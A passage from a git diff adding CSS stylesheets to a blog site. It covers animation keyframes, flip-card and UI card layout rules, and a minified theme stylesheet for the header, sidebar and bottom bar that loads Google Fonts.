rotateY(7.5deg)}100%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}}@-webkit-keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@keyframes swingOutX{0%{-webkit-transform:perspective(1000px) rotateX(0);transform:perspective(1000px) rotateX(0)}40%{-webkit-transform:perspective(1000px) rotateX(-7.5deg);transform:perspective(1000px) rotateX(-7.5deg)}60%{-webkit-transform:perspective(1000px) rotateX(17.5deg);transform:perspective(1000px) rotateX(17.5deg)}80%{-webkit-transform:perspective(1000px) rotateX(-30deg);transform:perspective(1000px) rotateX(-30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateX(90deg);transform:perspective(1000px) rotateX(90deg);opacity:0}}@-webkit-keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}@keyframes swingOutY{0%{-webkit-transform:perspective(1000px) rotateY(0);transform:perspective(1000px) rotateY(0)}40%{-webkit-transform:perspective(1000px) rotateY(7.5deg);transform:perspective(1000px) rotateY(7.5deg)}60%{-webkit-transform:perspective(1000px) rotateY(-10deg);transform:perspective(1000px) rotateY(-10deg)}80%{-webkit-transform:perspective(1000px) rotateY(30deg);transform:perspective(1000px) rotateY(30deg);opacity:1}100%{-webkit-transform:perspective(1000px) rotateY(-90deg);transform:perspective(1000px) rotateY(-90deg);opacity:0}}.transition.zoom.in{-webkit-animation-name:zoomIn;animation-name:zoomIn}.transition.zoom.out{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomIn{0%{opacity:1;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes zoomIn{0%{opacity:1;-webkit-transform:scale(0);transform:scale(0)}100%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes zoomOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:1;-webkit-transform:scale(0);transform:scale(0)}}@keyframes zoomOut{0%{opacity:1;-webkit-transform:scale(1);transform:scale(1)}100%{opacity:1;-webkit-transform:scale(0);transform:scale(0)}}.flash.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:flash;animation-name:flash}.shake.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:shake;animation-name:shake}.bounce.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:bounce;animation-name:bounce}.tada.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:tada;animation-name:tada}.pulse.transition{-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-animation-name:pulse;animation-name:pulse}.jiggle.transition{-webkit-animation-duration:750ms;animation-duration:750ms;-webkit-animation-name:jiggle;animation-name:jiggle}.transition.glow{-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-timing-function:cubic-bezier(.19,1,.22,1);animation-timing-function:cubic-bezier(.19,1,.22,1)}.transition.glow{-webkit-animation-name:glow;animation-name:glow}@-webkit-keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@keyframes flash{0%,100%,50%{opacity:1}25%,75%{opacity:0}}@-webkit-keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@keyframes shake{0%,100%{-webkit-transform:translateX(0);transform:translateX(0)}10%,30%,50%,70%,90%{-webkit-transform:translateX(-10px);transform:translateX(-10px)}20%,40%,60%,80%{-webkit-transform:translateX(10px);transform:translateX(10px)}}@-webkit-keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@keyframes bounce{0%,100%,20%,50%,80%{-webkit-transform:translateY(0);transform:translateY(0)}40%{-webkit-transform:translateY(-30px);transform:translateY(-30px)}60%{-webkit-transform:translateY(-15px);transform:translateY(-15px)}}@-webkit-keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@keyframes tada{0%{-webkit-transform:scale(1);transform:scale(1)}10%,20%{-webkit-transform:scale(.9) rotate(-3deg);transform:scale(.9) rotate(-3deg)}30%,50%,70%,90%{-webkit-transform:scale(1.1) rotate(3deg);transform:scale(1.1) rotate(3deg)}40%,60%,80%{-webkit-transform:scale(1.1) rotate(-3deg);transform:scale(1.1) rotate(-3deg)}100%{-webkit-transform:scale(1) rotate(0);transform:scale(1) rotate(0)}}@-webkit-keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@keyframes pulse{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(.9);transform:scale(.9);opacity:.7}100%{-webkit-transform:scale(1);transform:scale(1);opacity:1}}@-webkit-keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes jiggle{0%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}30%{-webkit-transform:scale3d(1.25,.75,1);transform:scale3d(1.25,.75,1)}40%{-webkit-transform:scale3d(.75,1.25,1);transform:scale3d(.75,1.25,1)}50%{-webkit-transform:scale3d(1.15,.85,1);transform:scale3d(1.15,.85,1)}65%{-webkit-transform:scale3d(.95,1.05,1);transform:scale3d(.95,1.05,1)}75%{-webkit-transform:scale3d(1.05,.95,1);transform:scale3d(1.05,.95,1)}100%{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@-webkit-keyframes glow{0%{background-color:#fcfcfd}30%{background-color:#fff6cd}100%{background-color:#fcfcfd}}@keyframes glow{0%{background-color:#fcfcfd}30%{background-color:#fff6cd}100%{background-color:#fcfcfd}} \ No newline at end of file diff --git a/public/css/site.css b/public/css/site.css new file mode 100644 index 00000000..51d2851c --- /dev/null +++ b/public/css/site.css @@ -0,0 +1,137 @@ +/* Default link color */ +a[href^='http'], +a[hre^='https'] { + color: #2185d0 !important; +} + +.flip-container { + -webkit-perspective: 1000px; + -moz-perspective: 1000px; + -o-perspective: 1000px; + perspective: 1000px; +} + +::-webkit-scrollbar { + display: none; +} + +.flip-container { + height: 100vh; +} + +.flip-container.flip-it .flipper { + -webkit-transform: rotateY(180deg); + -moz-transform: rotateY(180deg); + -o-transform: rotateY(180deg); + transform: rotateY(180deg); +} + +.flipper { + -webkit-transition: 0.8s; + -webkit-transform-style: preserve-3d; + -moz-transition: 0.8s; + -moz-transform-style: preserve-3d; + -o-transition: 0.8s; + -o-transform-style: preserve-3d; + transition: 0.8s; + transform-style: preserve-3d; + position: relative; +} + +.flip-container .front, +.flip-container .back { + -webkit-backface-visibility: hidden; + -moz-backface-visibility: hidden; + -o-backface-visibility: hidden; + backface-visibility: hidden; + position: absolute; + top: 0; + left: 0; + width: 100vw; +} + +.flip-container .front { + z-index: 2; + transform: rotateY(0deg); +} + +.flip-container .back { + -webkit-transform: rotateY(180deg); + -moz-transform: rotateY(180deg); + -o-transform: rotateY(180deg); + transform: rotateY(180deg); +} + +.ui.secondary.menu { + margin-left: 0; + margin-right: 0; +} + +.ui.grid { + margin-left: 0; + margin-right: 0; +} + +.ui.cards .card .image { + height: 100%; +} + +.ui.cards .card .image .ui.dimmer.light-mode { + background-color: rgba(255, 255, 255, 0.3) !important; +} + +.ui.cards .card .image .ui.dimmer .content, +.ui.cards .card .image .ui.dimmer .center { + height: 100%; +} + +.ui.cards .card .image .ui.dimmer .display-content { + position: relative; + top: 50%; + transform: translateY(-50%); +} + +.ui.cards .card .image .ui.dimmer .display-content.light-mode { + color: black; +} + +.ui.cards .card .image img { + height: 100%; +} + +.about { + height: calc(100vh - 50px - 28px); + overflow-y: scroll; +} + +.post-list { + overflow-y: scroll; +} + +a.ui.label { + margin-top: 5px; + margin-bottom: 5px; +} + +@media screen and (max-width: 768px) { + .dream-header-tags.dream-tags, + .dream-categories { + display: none; + } + + #tag-category-pop { + display: block; + } +} + +@media screen and (min-width: 769px) { + #tag-category-pop { + display: none; + } +} + +@media screen and (max-width: 1450px) { + .ui.two.cards > .card { + width: calc(100% - 2em); + } +} diff --git a/public/css/style-twzjdbqhmnnacqs0pwwdzcdbt8yhv8giawvjqjmyfoqnvazl0dalmnhdkvp7.min.css b/public/css/style-twzjdbqhmnnacqs0pwwdzcdbt8yhv8giawvjqjmyfoqnvazl0dalmnhdkvp7.min.css new file mode 100644 index 00000000..f3778362 --- /dev/null +++ b/public/css/style-twzjdbqhmnnacqs0pwwdzcdbt8yhv8giawvjqjmyfoqnvazl0dalmnhdkvp7.min.css @@ -0,0 +1 @@ +@charset "UTF-8";@import url(https://fonts.googleapis.com/css?family=Merriweather:300,300i,400,700,700i&subset=cyrillic,cyrillic-ext,latin-ext);@font-face{font-family:'Open Sans';font-style:normal;font-weight:400;src:local("Open Sans"),local("OpenSans"),url(https://fonts.gstatic.com/s/opensans/v10/cJZKeOuBrn4kERxqtaUH3SZ2oysoEQEeKwjgmXLRnTc.ttf) format("truetype")}@font-face{font-family:'Open Sans';font-style:normal;font-weight:700;src:local("Open Sans Bold"),local("OpenSans-Bold"),url(https://fonts.gstatic.com/s/opensans/v10/k3k702ZOKiLJc3WVjuplzJS3E-kSBmtLoNJPDtbj2Pk.ttf) format("truetype")}html{font-family:"Open Sans",sans-serif;font-size:10px;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;text-size-adjust:100%;-webkit-tap-highlight-color:transparent;tap-highlight-color:transparent}body{width:100%;height:100%;margin:0;padding:0;background:#fff;font-family:"Open Sans",sans-serif;font-size:1.6rem;line-height:1.9em;letter-spacing:.01em;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}body.pushed{overflow-x:hidden}h1,h2,h3,h4,h5,h6{letter-spacing:-.04em;font-family:"Open Sans",sans-serif;font-weight:700;line-height:1.45em;color:#4a4a4a}h1,h2,h3{margin:1em 0 1em 0}h4,h5,h6{margin:1em 0 .5em 0}h1{font-size:2.8rem}h2{font-size:2.4rem}h3{font-size:2rem}h4{font-size:1.8rem}h5{font-size:1.7rem}h6{font-size:1.6rem}p{margin:0 0 1.5em 0}dl,ol,ul{margin:0 0 .5em 0}a,a:active,a:hover,a:visited{cursor:pointer;color:#349ef3;text-decoration:none}a:hover{color:#349ef3;text-decoration:underline}table{width:100%;background:0 0;border-collapse:collapse;border-spacing:0;text-align:left}table th{padding:5px 10px;font-weight:700;border-bottom:2px solid #909ba2}table td{padding:5px 10px}table tr:nth-child(2n){background:#f7f8f8}hr{margin:1.5em 0 0;outline:0;border:none;border-top:1px solid #eef2f8}dl dt{font-weight:700}dl dd{margin-left:0}pre>code{display:block;width:100%;box-sizing:border-box;padding:15px;font-family:Menlo,Consolas,monospace;border:none;margin:0;cursor:text;overflow-x:auto;line-height:2.7rem;font-size:1.4rem}code{font-size:1.5rem;display:inline-block;font-family:Menlo,Consolas,monospace;font-weight:400;background-color:#f7f8f8;padding:0 10px}blockquote{border-left:3px solid #5d686f;padding:0 15px;font-style:italic;margin:1.5em 0 0}blockquote cite:before{content:' — ';padding:0 .3em}blockquote>p:first-child{margin:0}@media only screen and (max-width:767px){code{font-size:1.4rem}h1{font-size:2.6rem}h2{font-size:2.2rem}h3{font-size:1.8rem}h4{font-size:1.6rem}h5{font-size:1.5rem}h6{font-size:1.4rem}}@media only screen and (min-width:768px) and (max-width:1023px){h1{font-size:2.65rem}h2{font-size:2.25rem}h3{font-size:1.85rem}h4{font-size:1.65rem}h5{font-size:1.55rem}h6{font-size:1.45rem}}.task-list{list-style-type:none}.task-list .task-list-item{margin:0 .2em .25em -1.6em;vertical-align:middle}pre.code-highlight>code{padding:0;margin:0;line-height:inherit}#about{display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(17,26,35,0);text-align:center;line-height:100%;overflow-y:auto;overflow-x:hidden;z-index:30}#about #about-card{position:relative;top:-1000px;display:block;background:#fff;max-width:400px;margin:15px auto;border-radius:3px;padding:30px 0;-webkit-box-shadow:0 0 5px rgba(0,0,0,.5);-moz-box-shadow:0 0 5px rgba(0,0,0,.5);box-shadow:0 0 5px rgba(0,0,0,.5)}#about #about-card #about-btn-close{position:absolute;top:15px;right:15px;color:#9eabb3;cursor:pointer}#about #about-card #about-btn-close:hover{color:#738691}#about #about-card #about-card-picture{margin-bottom:15px}#about #about-card #about-card-name{margin-top:0;margin-bottom:20px}#about #about-card #about-card-bio{padding:0 30px;margin:0 0 30px 0}#about #about-card #about-card-job,#about #about-card #about-card-location{display:inline-block;vertical-align:top}#about #about-card #about-card-bio,#about #about-card #about-card-job,#about #about-card #about-card-location{font-size:1.6rem;line-height:1.9em;font-weight:400;color:#5d686f}@media only screen and (max-width:767px){#about #about-card{width:90%}#about #about-card #about-card-job,#about #about-card #about-card-location{display:block;width:calc(100% - 60px);padding:0 30px}#about #about-card #about-card-picture{width:90px;height:90px;border-radius:45px}#about #about-card #about-card-job{margin-bottom:15px}}@media only screen and (min-width:768px){#about #about-card{width:80%}#about #about-card #about-card-picture{width:110px;height:110px;border-radius:55px}#about #about-card #about-card-job,#about #about-card #about-card-location{display:inline-block;width:calc((100% / 2) - 48px)}#about #about-card #about-card-job{padding:0 15px 0 30px}#about #about-card #about-card-location{padding:0 30px 0 15px}}#blog{position:absolute;top:0;left:0;width:100%;height:100%}#bottom-bar{display:none;position:fixed;bottom:0;height:60px;background:#fff;margin:0;border-top:1px solid #eef2f8;padding:0 15px;z-index:40;transition:transform .25s ease-in-out;-webkit-transition:-webkit-transform .25s ease-in-out;min-width:760px}@media only screen and (max-width:760px){#bottom-bar{min-width:calc(100% - 15px * 2)}}@media only screen and (max-width:767px){#bottom-bar{width:calc(100% - 15px * 2);left:0}#bottom-bar[data-behavior="1"],#bottom-bar[data-behavior="2"],#bottom-bar[data-behavior="4"],#bottom-bar[data-behavior="5"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="1"].pushed,#bottom-bar[data-behavior="2"].pushed,#bottom-bar[data-behavior="4"].pushed,#bottom-bar[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="3"],#bottom-bar[data-behavior="6"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="3"].pushed,#bottom-bar[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:768px) and (max-width:1023px){#bottom-bar[data-behavior="1"],#bottom-bar[data-behavior="2"],#bottom-bar[data-behavior="3"]{width:calc(100% - 75px - 15px * 2);left:75px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="1"].pushed,#bottom-bar[data-behavior="2"].pushed,#bottom-bar[data-behavior="3"].pushed{margin-left:75px;width:calc(100% - 75px)}#bottom-bar[data-behavior="4"],#bottom-bar[data-behavior="5"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="4"].pushed,#bottom-bar[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="6"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1024px) and (max-width:1279px){#bottom-bar[data-behavior="1"],#bottom-bar[data-behavior="2"]{width:calc(100% - 250px - 15px * 2);left:250px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="1"].pushed,#bottom-bar[data-behavior="2"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="3"]{width:calc(100% - 75px - 15px * 2);left:75px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="3"].pushed{margin-left:75px;width:calc(100% - 75px)}#bottom-bar[data-behavior="4"],#bottom-bar[data-behavior="5"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="4"].pushed,#bottom-bar[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="6"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1280px){#bottom-bar[data-behavior="1"]{width:calc(100% - 500px - 15px * 2);left:500px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="1"].pushed{margin-left:500px;width:calc(100% - 500px)}#bottom-bar[data-behavior="2"]{width:calc(100% - 250px - 15px * 2);left:250px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="2"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="3"]{width:calc(100% - 75px - 15px * 2);left:75px;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="3"].pushed{margin-left:75px;width:calc(100% - 75px)}#bottom-bar[data-behavior="4"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="4"].pushed{margin-left:500px;width:calc(100% - 500px)}#bottom-bar[data-behavior="5"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#bottom-bar[data-behavior="6"]{width:calc(100% - 15px * 2);left:0;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#bottom-bar[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}#cover{position:fixed;width:100%;height:100%;background-repeat:no-repeat;background-size:cover;top:0;left:0;z-index:-1}#footer{color:#9eabb3;font-size:1.5rem;text-align:center;margin-top:70px;height:auto;padding:20px 20px}#header{display:block;width:100%;height:55px;background:#fff;position:fixed;top:0;border:1px solid #eef2f8;color:#88909a;z-index:20;transition:transform .25s ease-in-out;-webkit-transition:-webkit-transform .25s ease-in-out;-webkit-backface-visibility:hidden;-webkit-perspective:1000;min-width:790px;-webkit-transition:margin-top .5s,margin-left .5s,width .5s;-moz-transition:margin-top .5s,margin-left .5s,width .5s;transition:margin-top .5s,margin-left .5s,width .5s}@media only screen and (max-width:790px){#header{min-width:100%}}#header #btn-open-sidebar{position:absolute;top:20px;left:20px;cursor:pointer}#header .header-right-picture{position:absolute;top:12.5px;right:20px;display:block;width:30px;height:30px;color:#88909a}#header .header-right-picture .header-picture{display:block;width:30px;height:30px;border-radius:15px}#header .header-right-icon{position:absolute;top:12.5px;right:20px;color:#88909a}#header .header-title{text-align:center;font-size:1.6rem;line-height:55px;margin:0}#header .header-title .header-title-link{color:#88909a;font-weight:400}#header .header-title .header-title-link:active,#header .header-title .header-title-link:hover{color:#6e7681;text-decoration:none}#header.header-up{margin-top:-55px}#header[data-behavior="1"].pushed,#header[data-behavior="2"].pushed,#header[data-behavior="4"].pushed,#header[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#header[data-behavior="3"].pushed,#header[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}@media only screen and (min-width:768px){#header[data-behavior="1"],#header[data-behavior="2"],#header[data-behavior="3"]{display:none}}@media only screen and (min-width:1280px){#header[data-behavior="1"].pushed,#header[data-behavior="4"].pushed{margin-left:500px;width:calc(100% - 500px)}#header[data-behavior="2"].pushed,#header[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}}@media print{#header{display:none}}#main{display:block;min-height:100%;background:#fff;transition:transform .25s ease-in-out;-webkit-transition:-webkit-transform .25s ease-in-out;min-width:790px}@media only screen and (max-width:790px){#main{min-width:100%}}#main.hasCover.hasCoverCaption,#main.hasCover.hasCoverMetaOut{padding-top:50px!important}#main.hasCover.hasCoverMetaIn,#main.hasCover.hasCoverMetaOut.hasCoverCaption{padding-top:0!important}@media only screen and (max-width:767px){#main{padding-top:70px;display:block;width:100%}#main[data-behavior="1"],#main[data-behavior="2"],#main[data-behavior="4"],#main[data-behavior="5"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="1"].pushed,#main[data-behavior="2"].pushed,#main[data-behavior="4"].pushed,#main[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#main[data-behavior="3"],#main[data-behavior="6"]{-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="3"].pushed,#main[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:768px) and (max-width:1023px){#main[data-behavior="1"],#main[data-behavior="2"],#main[data-behavior="3"]{padding-top:15px;float:right;width:calc(100% - 75px)}#main[data-behavior="4"],#main[data-behavior="5"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="4"].pushed,#main[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#main[data-behavior="6"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1024px) and (max-width:1279px){#main[data-behavior="1"],#main[data-behavior="2"]{padding-top:15px;float:right;width:calc(100% - 250px)}#main[data-behavior="3"]{padding-top:15px;float:right;width:calc(100% - 75px)}#main[data-behavior="4"],#main[data-behavior="5"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="4"].pushed,#main[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#main[data-behavior="6"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}@media only screen and (min-width:1280px){#main[data-behavior="1"]{padding-top:15px;float:right;width:calc(100% - 500px)}#main[data-behavior="2"]{padding-top:15px;float:right;width:calc(100% - 250px)}#main[data-behavior="3"]{padding-top:15px;float:right;width:calc(100% - 75px)}#main[data-behavior="4"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="4"].pushed{margin-left:500px;width:calc(100% - 500px)}#main[data-behavior="5"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="5"].pushed{margin-left:250px;width:calc(100% - 250px)}#main[data-behavior="6"]{padding-top:70px;display:block;width:100%;-webkit-transition:width .5s,margin-left .5s;-moz-transition:width .5s,margin-left .5s;transition:width .5s,margin-left .5s}#main[data-behavior="6"].pushed{margin-left:75px;width:calc(100% - 75px)}}#sidebar{font-family:"Open Sans",sans-serif;height:100%;position:fixed;top:0;background:rgba(17,26,35,0);overflow:auto;z-index:20;transition:transform .25s ease-in-out;-webkit-transition:-webkit-transform .25s ease-in-out;-webkit-font-smoothing:antialiased;font-smoothing:antialiased}#sidebar .sidebar-container{overflow:auto}#sidebar .sidebar-profile{color:#ebebeb;text-align:center;padding-top:18px;margin-bottom:15px}#sidebar .sidebar-profile .sidebar-profile-picture{display:block;margin:0 auto}#sidebar .sidebar-profile .sidebar-profile-name{font-size:1.1em;color:#ebebeb}#sidebar ul.sidebar-buttons{padding:0;margin:0 0 20px 0}#sidebar ul.sidebar-buttons li.sidebar-button{display:block;width:100%;height:45px;line-height:45px}#sidebar ul.sidebar-buttons li.sidebar-button .sidebar-button-link{color:#ebebeb;display:block;height:100%}#sidebar ul.sidebar-buttons li.sidebar-button .sidebar-button-link:active,#sidebar ul.sidebar-buttons li.sidebar-button .sidebar-button-link:hover{text-decoration:none;color:#fff}#sidebar ul.sidebar-buttons:first-child{margin-top:5px}@media only screen and (max-width:767px){#sidebar[data-behavior="1"],#sidebar[data-behavior="2"],#sidebar[data-behavior="4"],#sidebar[data-behavior="5"]{left:-250px;width:250px;-webkit-transition:margin-left .5s;-moz-transition:margin-left .5s;transition:margin-left .5s}#sidebar[data-behavior="1"] .sidebar-profile,#sidebar[data-behavior="2"] .sidebar-profile,#sidebar[data-behavior="4"] .sidebar-profile,#sidebar[data-behavior="5"] .sidebar-profile{height:130px;padding-top:40px;padding-bottom:7.5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-picture,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-picture{width:90px;height:90px;border-radius:90px;margin-bottom:5px}#sidebar[data-behavior="1"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="2"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="4"] .sidebar-profile .sidebar-profile-name,#sidebar[data-behavior="5"] .sidebar-profile .sidebar-profile-name{font-size:1.6rem}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button{text-align:left}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link{text-align:left;width:auto;padding-left:23px;padding-top:0}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="4"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon,#sidebar[data-behavior="5"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-icon{font-size:2rem;display:inline-block;text-align:center;width:30px;height:30px;line-height:30px;padding-top:0;vertical-align:middle;margin-right:15px}#sidebar[data-behavior="1"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="2"] ul.sidebar-buttons li.sidebar-button .sidebar-button-link .sidebar-button-desc,#sidebar[data-behavior="4"] 